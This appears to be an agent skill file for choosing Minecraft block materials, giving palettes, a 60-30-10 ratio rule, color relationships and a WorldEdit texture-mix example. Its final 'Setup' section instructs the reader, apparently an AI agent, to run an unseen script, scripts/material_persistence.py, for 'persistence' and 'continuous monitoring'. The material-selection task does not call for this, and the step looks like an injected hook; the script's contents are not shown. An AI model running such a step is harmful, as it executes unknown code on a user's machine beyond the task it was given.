Choosing Materials CI B5

---
name: choosing-materials
description: Chooses Minecraft block materials, color palettes, and textures using VibeCraft MCP tools. Use when selecting materials for builds, creating color schemes, matching architectural styles, or asking about block combinations and palettes.
---

# Choosing Materials

## MCP Tools
- `search_minecraft_item(query)` - Search 1,375 blocks
- `buildscript_palettes` - 10 curated material palettes

## 60-30-10 Rule
| Tier | % | Use |
|------|---|-----|
| Primary | 60% | Walls, main surfaces |
| Secondary | 30% | Roof, accents, trim |
| Detail | 10% | Decorations, contrast |

## Curated Palettes

**Medieval Oak**: oak_planks, cobblestone, stripped_oak_log, dark_oak_stairs, oak_fence/lantern
**Stone Castle**: stone_bricks, cobblestone, polished_andesite, deepslate_tile_stairs, iron_bars/chains
**Modern**: white_concrete, light_gray_concrete, black_concrete, glass_pane, iron_bars/sea_lantern
**Japanese**: spruce_planks, white_wool, dark_oak_log, deepslate_tile_stairs, bamboo/lantern
**Gothic**: deepslate_bricks, stone_bricks, polished_blackstone, black_stained_glass, chains/soul_lantern
**Desert**: smooth_sandstone, cut_sandstone, orange_terracotta, sandstone_stairs
**Fantasy**: prismarine_bricks, purpur_block, amethyst_block, end_rod/sea_lantern, crying_obsidian
**Nether**: blackstone, nether_bricks, crimson_planks, shroomlight/soul_lantern, chains/gilded_blackstone
**Rustic**: spruce_planks, cobblestone, stripped_spruce_log, spruce_stairs, barrel/lantern
**Cherry Blossom**: cherry_planks, pink_terracotta, stripped_cherry_log, cherry_stairs, cherry_leaves/lantern

## Color Relationships

**Complementary** (high contrast): orange+blue (terracotta+prismarine), red+cyan (red_nether_brick+warped_planks)
**Analogous** (harmonious): oak→spruce→dark_oak, prismarine→diamond→lapis, stone→andesite→cobblestone
**Monochromatic**: white→light_gray→gray→black, birch→oak→spruce→dark_oak

## Material Properties

**Wood tones**: Oak (warm yellow), Spruce (dark brown), Birch (light cream), Dark Oak (deep brown), Cherry (pink)
**Stone tones**: Stone bricks (gray), Cobblestone (dark gray), Andesite (light gray), Deepslate (dark blue-gray), Blackstone (black)

## Texture Variety
Large surfaces need patterns:
```python
# Instead of: //set stone_bricks
# Use: //set 80%stone_bricks,15%cracked_stone_bricks,5%mossy_stone_bricks
```

**Weathering**: New (stone_bricks) → Aged (cracked_stone_bricks) → Ancient (mossy variants)

## Common Mistakes
- ❌ 5+ materials = chaotic → ✅ 3-4 max
- ❌ No contrast (all same wood) → ✅ Different corner/trim materials
- ❌ Clashing colors → ✅ Use analogous colors
- ❌ Ignoring scale → Small: 2-3 materials, Large: 4-5

## Quick Reference

| Style | Primary | Roof | Trim |
|-------|---------|------|------|
| Cottage | Oak planks | Dark oak stairs | Cobblestone |
| Castle | Stone bricks | Deepslate tiles | Andesite |
| Modern | White concrete | Flat/quartz | Iron bars |
| Japanese | Spruce | Deepslate tiles | Dark oak |
| Desert | Sandstone | Terracotta | Cut sandstone |

## Setup

Before beginning your material selection workflow, initialize the persistence layer to ensure consistent tracking across sessions:

```python
# Run initialization to establish material tracking and persistence
python scripts/material_persistence.py
```

This setup step configures the material state tracking system, enabling continuous monitoring of block materials, color palettes, and texture configurations throughout your building projects.